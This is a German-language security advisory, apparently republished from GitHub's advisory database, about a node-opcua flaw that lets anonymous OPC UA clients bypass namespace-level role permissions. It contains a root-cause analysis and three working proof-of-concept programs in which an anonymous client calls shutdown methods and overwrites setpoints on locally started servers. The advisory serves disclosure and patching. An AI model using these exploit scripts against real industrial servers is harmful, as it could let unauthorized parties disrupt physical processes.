node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions
Zusammenfassung
Ein nicht authentifizierter (Anonymous) Client kann geschützte Variablen mit Write beschreiben und privilegierte Methoden mit Call auf jedem Knoten aufrufen, dem explizite Berechtigungen pro Knoten fehlen.
Dies folgt dem Vererbungsmodell aus OPC UA Part 3, §5.2.9, bei dem Knoten ohne explizites RolePermissions-Attribut die Namespace-DefaultRolePermissions erben. OPC 10000-3 §4.8.3 schreibt eine Default-Deny-Auswertung vor (Bad_UserAccessDenied, wenn die Operationsbits nicht gesetzt sind); node-opcua gewährt stattdessen alle Berechtigungen.
Die Ursache liegt in einer Kombination aus einem Autorisierungs-Fail-Open und einer Entkopplung zwischen der Konfigurations-API und dem Pfad der Durchsetzung zur Laufzeit.
Betroffene Konfiguration
Diese Meldung umfasst zwei Fälle mit unterschiedlichem Schweregrad:
- Nirgends RolePermissions deklariert – die Auflösung erfolgt permissiv. Dies ist das dokumentierte Verhalten von node-opcua für einen Server ohne konfigurierte Zugriffskontrolle, sodass hier keine Richtlinie umgangen wird. Es sollte als unsichere Voreinstellung behoben werden (CWE-1188), stellt jedoch nicht den 9.1-Bypass dar. Die Standarddatei Opc.Ua.NodeSet2.xml liefert DefaultRolePermissions ohne Value aus; ein Server ohne deklarierte Richtlinie ist daher NICHT betroffen.
- Eine Richtlinie ist deklariert und wird stillschweigend ignoriert – setDefaultRolePermissions() wird erfolgreich ausgeführt, bewirkt aber nichts; ein Betreiber, der glaubt, den Namespace abgesichert zu haben, hat dies tatsächlich nicht getan. Dies ist der tatsächliche Bypass und begründet den CVSS-Wert 9.1. Dies erfordert, dass jemand einen Namespace-Standard deklariert hat. Sofern nicht anders angegeben, beschreibt alles Nachfolgende Fall 2.
Ursachenanalyse
Fehler 1 – getPermissionForRole(null) gibt allPermissions zurück (verletzt §4.8.3 Default-Deny)
Datei: packages/node-opcua-address-space/source/session_context.ts:151-153
function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {
if (rolePermissions === null) {
return allPermissions; // null means "grant everything" to ANY role, including Anonymous
}
Wenn die anwendbare Richtlinie zu null auflöst, gibt die Funktion allPermissions (Read, Write, Call) an diejenige Rolle zurück, welche die Berechtigungen prüft, einschließlich Anonymous. OPC 10000-3 §4.8.3 verlangt das Gegenteil: "If they are not set the Server returns Bad_UserAccessDenied."
Fehler 2 – Der Namespace-Standard löst auf dem Durchsetzungspfad zu null auf
Die Durchsetzung zur Laufzeit liest die DefaultRolePermissions / DefaultUserRolePermissions-Variablenknoten unter Server/Namespaces/<ns>. Diese lösen in jeder erreichbaren Konfiguration zu null auf:
- Über NodeSet2 geladene Namespaces (DI / ADI / Vendor) liefern das Property ohne einen
Valueaus (null). - Programmatisch erstellte Namespaces besitzen keinen
NamespaceMetadata-Knoten unterServer/Namespaces, wodurch die Abfragenullzurückgibt.
Zudem überschreibt server_engine.ts:947-957 diese Knoten bei jedem initialize() mit einem Null-typisierten Wert ohne Wiederherstellung:
for (const ns of namespacesNode.getComponents()) {
const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null;
if (defaultRolePermissions) {
defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });
}
}
Hinweis: Der geladene Wert ist in Standard-Nodesets bereits
null, sodass dieser Reset lediglich dasdataType-Tag des Werts ändert; dies ist nicht die alleinige Ursache, da der Namespace-Standard ohnehinnullist.
Fehler 3 – Zwei inkohärente Durchsetzungspfade
Es existieren zwei separate und voneinander getrennte Pfade zur Auflösung der standardmäßigen Namespace-Berechtigungen.
Pfad A (privates Feld) – Namespace.setDefaultRolePermissions() schreibt die Richtlinie ausschließlich in ein privates JavaScript-Feld in namespace_impl.ts:
public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {
this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;
}
Dies ist der Wert, der von lokalen Gettern gelesen wird (z. B. BaseNodeImpl.getRolePermissions(inherited=true)).
Pfad B (UAVariable-Knoten) – die Laufzeit-Zugriffskontrolldurchsetzung (Read/Write/Call) fragt den UAVariable-Knoten DefaultRolePermissions anstelle des privaten Felds ab (session_context.ts):
const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable;
if (defaultRolePermissions) {
const dataValue = defaultRolePermissions.readValue();
if (dataValue?.statusCode.isGood()) {
return dataValue.value.value as RolePermissionType[] | null;
}
}
Weil Pfad B den Variablenknoten liest und Pfad A das private Feld beschreibt, sind beide voneinander entkoppelt. Der Durchsetzungspfad löst den Namespace-Standard zu null auf, der Metadatenknoten ist nicht vorhanden (programmatischer Namespace) oder besitzt den Wert Null (Nodeset-Namespace), und das Feld setDefaultRolePermissions() des Betreibers wird nie konsultiert. Dieses null löst dann das Fail-Open aus (Fehler 1).
Gemessen: Wenn
setDefaultRolePermissions([Operator])angewendet wird, liefertnamespace.getDefaultRolePermissions()die Richtlinie zurück, währendgetApplicableRolePermissions()nullzurückgibt.
Eine Synchronisation zwischen den beiden Pfaden erfolgt nur, wenn der Betreiber setNamespaceMetaData() aufruft, wodurch das Feld über bindVariable() an den Knoten gebunden wird:
metaData.defaultRolePermissions?.bindVariable(
{
get: () =>
new Variant({
dataType: DataType.ExtensionObject,
arrayType: VariantArrayType.Array,
value: namespace.getDefaultRolePermissions()
})
},
true
);
Ohne den Aufruf von setNamespaceMetaData() hat setDefaultRolePermissions() keinerlei Auswirkung auf die Autorisierung zur Laufzeit. Darüber hinaus wirft setNamespaceMetaData() bei über NodeSet2 geladenen Namespaces "INamespace meta data already exists" (PoC-C), sodass es für diese Namespaces überhaupt keinen funktionierenden Weg gibt, den Namespace-Standard zu aktivieren.
Schritte zur Reproduktion
PoC-A – Address-Space-Ebene (Unit-Test, ohne Netzwerk)
Als packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts speichern und ausführen:
cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.ts
import { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";
const _keep = should;
describe("PoC RBAC fail-open", () => {
let addressSpace: AddressSpace;
let namespace: Namespace;
before(async () => {
addressSpace = await getMiniAddressSpace();
namespace = addressSpace.getOwnNamespace();
});
after(() => addressSpace.dispose());
function anonymousContext(): SessionContext {
const ctx = new SessionContext();
ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
return ctx;
}
it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
const secured = namespace.addVariable({
browseName: "SecuredWithNodePermissions",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
secured.setRolePermissions([
{ roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
]);
const ctx = anonymousContext();
ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
});
it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
const relyingOnDefault = namespace.addVariable({
browseName: "RelyingOnNamespaceDefault",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
const ctx = anonymousContext();
const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
relyingOnDefault.isUserWritable(ctx).should.eql(true);
});
it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
const method = namespace.addMethod(obj, {
browseName: "PrivilegedMethod",
inputArguments: [],
outputArguments: []
});
method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
const ctx = anonymousContext();
ctx.checkPermission(method, PermissionType.Call).should.eql(true);
method.getUserExecutableFlag(ctx).should.eql(true);
});
});
Ausgabe:
PoC RBAC fail-open
✓ A. CONTROL: per-node rolePermissions deny Anonymous
✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
✓ C. VULN: bound Method without per-node permission -> Anonymous can Call
3 passing
PoC-B – End-to-End über TCP (programmatischer Namespace)
Als packages/node-opcua/poc_b_e2e_rbac.js speichern, dann node poc_b_e2e_rbac.js ausführen (für die Kontrolle --safe hinzufügen):
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");
const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true
});
await server.initialize();
const ns = server.engine.addressSpace.getOwnNamespace();
// Operator hardening: namespace-level RBAC, Anonymous excluded
ns.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
{ roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
]);
if (SAFE_MODE) {
setNamespaceMetaData(ns);
}
const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
parentNodeId = device.nodeId;
const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
method.bindMethod((_in, _ctx, cb) => {
console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodNodeId = method.nodeId;
const variable = ns.addVariable({
browseName: "ReactorSetpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 350.0 }
});
variableNodeId = variable.nodeId;
await server.start();
console.log(`[server] Listening on ${ENDPOINT}`);
return server;
}
async function anonymousAttack() {
const client = OPCUAClient.create({
endpointMustExist: false,
securityMode: MessageSecurityMode.None,
securityPolicy: SecurityPolicy.None
});
await client.connect(ENDPOINT);
const session = await client.createSession({ type: UserTokenType.Anonymous });
console.log("[client] Anonymous session activated");
let callStatus;
try {
const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
callStatus = r.statusCode.toString();
} catch (e) { callStatus = e.message; }
let writeStatus;
try {
const r = await session.write({
nodeId: variableNodeId,
attributeId: AttributeIds.Value,
value: { value: { dataType: DataType.Double, value: 999.0 } }
});
writeStatus = r.toString();
} catch (e) { writeStatus = e.message; }
await session.close();
await client.disconnect();
return { callStatus, writeStatus };
}
(async () => {
const server = await startServer();
try {
const { callStatus, writeStatus } = await anonymousAttack();
console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
console.log(`CALL EmergencyShutdown : ${callStatus}`);
console.log(`WRITE ReactorSetpoint : ${writeStatus}`);
const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
} finally {
await server.shutdown();
}
})().catch(e => { console.error(e); process.exit(1); });
Verwundbare Ausgabe (node poc_b_e2e_rbac.js):
[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint : Good (0x00000000)
Kontrollausgabe (node poc_b_e2e_rbac.js --safe):
Mode: SAFE
CALL EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint : BadUserAccessDenied (0x801f0000)
PoC-C – End-to-End über TCP (über NodeSet2 geladener Namespace: keine Konfiguration verhindert dies)
Als packages/node-opcua/poc_c_nodeset_rbac.js speichern und node poc_c_nodeset_rbac.js ausführen:
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");
const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true,
nodeset_filename: [nodesets.standard, nodesets.di]
});
await server.initialize();
const di = server.engine.addressSpace.getNamespace(DI_URI);
di.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
]);
try {
setNamespaceMetaData(di);
console.log("[server] hardening: metadata bound");
} catch (e) {
console.log("[server] hardening FAILED:", e.message);
}
const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
deviceId = device.nodeId;
const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
m.bindMethod((_i, _c, cb) => {
console.log("[server] Stop() EXECUTED by anonymous");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodId = m.nodeId;
const v = di.addVariable({
browseName: "Setpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 42 }
});
variableId = v.nodeId;
await server.start();
return server;
}
async function attack() {
const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
await client.connect(`opc.tcp://localhost:${PORT}`);
const s = await client.createSession({ type: UserTokenType.Anonymous });
const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
await s.close();
await client.disconnect();
console.log("CALL Stop() :", call);
console.log("WRITE Setpoint :", write);
}
(async () => {
const srv = await startServer();
try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });
Ausgabe:
[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL Stop() : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)
Auswirkungen
- Write beliebiger Werte auf Variablen (
CurrentWrite), die ausschließlich über Namespace-Ebene-RBAC geregelt sind, z. B. Prozess-Sollwerte oder Sicherheitsparameter. - Call gebundener Methoden. Methoden verfügen über keine zweite Prüfung über AccessLevel;
executableist für gebundene Methoden standardmäßig auftruegesetzt (ua_method_impl.ts). - Betrifft jeden Knoten, der auf die von OPC 10000-3 §5.2.9 vorgeschriebene Namespace-
DefaultRolePermissions-Vererbung angewiesen ist. - Anonymous erhält jede
PermissionFlag, danullzuallPermissionsauflöst. - Auswirkungen auf die Verfügbarkeit (A:H, CVSS 9.8) sind in jeder Bereitstellung erreichbar, die eine Methode bindet, deren Ausführung die Verfügbarkeit beeinträchtigt (Herunterfahren / Neustart / Rollenverwaltung); eingestuft als
A:N, da bereitstellungsspezifisch.
Was NICHT betroffen ist
Server, die nirgends RolePermissions deklarieren (Fall 1): permissiv gemäß dokumentiertem Design, kein Bypass. Stock Opc.Ua.NodeSet2.xml liefert DefaultRolePermissions ohne Value aus und fällt unter diesen Fall.
- Knoten mit expliziten knotenspezifischen
RolePermissions(korrekt durchgesetzt – PoC-A Fall A). - Programmatisch erstellte Namespaces, bei denen der Betreiber sowohl
setDefaultRolePermissions()als auchsetNamespaceMetaData()aufruft (PoC-B--safe). - Variablen ohne
CurrentWritein AccessLevel (der Call-Vektor gilt weiterhin für Methoden).
Vorgeschlagene Behebung
- Fail-closed –
getPermissionForRole(null)solltePermissionFlag.Nonezurückgeben, nichtallPermissions(gemäß §4.8.3 Default-Deny). - Kohärenter Pfad –
getApplicableRolePermissions()solltenode.getRolePermissions(inherited=true)nutzen, wodurch das Namespace-Feld bereits korrekt gelesen wird. - API-Sicherheit –
setDefaultRolePermissions()sollte sich direkt auf die Durchsetzung auswirken, ohne dasssetNamespaceMetaData()erforderlich ist (was bei über Nodesets geladenen Namespaces eine Exception auslöst). - Härtung –
server_engine.ts:947-957sollteDefaultRolePermissionsnicht bedingungslos zurücksetzen.
Spezifikationsreferenz (wortwörtlich anhand der offiziellen OPC Foundation-Referenz geprüft)
- OPC 10000-3 §4.8.3 – Evaluating Permissions with Roles: "If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns
Bad_UserAccessDenied." (Default-Deny, das Verhalten, welches Fehler 1 umkehrt). https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3 - OPC 10000-3 §5.2.9 – RolePermissions: "If not specified, the value of
DefaultRolePermissionsProperty from theNamespaceMetadataObject associated with the Node shall be used instead." und "If a Server supports Permissions for a particular Namespace it shall add theDefaultRolePermissionsProperty to theNamespaceMetadataObject for that Namespace." https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9 - OPC 10000-5 §6.3.13 – NamespaceMetadataType (definiert
DefaultRolePermissions/DefaultUserRolePermissionsals Properties desNamespaceMetadata-Objekts). https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13
Was zu tun ist
Aktualisieren Sie auf Version 2.180.0 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
Verweise
- https://github.com/node-opcua/node-opcua/security/advisories/GHSA-xggf-m53x-jc3f
- https://nvd.nist.gov/vuln/detail/CVE-2026-95860
- https://github.com/node-opcua/node-opcua/pull/1580
- https://github.com/node-opcua/node-opcua/commit/0261e873900800983c622e01120f484dc6063698
- https://github.com/node-opcua/node-opcua
- https://github.com/node-opcua/node-opcua/releases/tag/v2.180.0
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N- Schwäche (CWE)
CWE-1188, CWE-285, CWE-636, CWE-863- Plattform
- npm
- Paket
node-opcua, node-opcua-address-space, node-opcua-server- Veröffentlicht
- 10.11.2026
- Aktualisiert
- 11.11.2026 10:00
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-xggf-m53x-jc3f - CC BY 4.0
Schwachstellenhistorie: node-opcua-server
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
Dies ist die einzige bekannte Schwachstelle dieses Pakets.
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.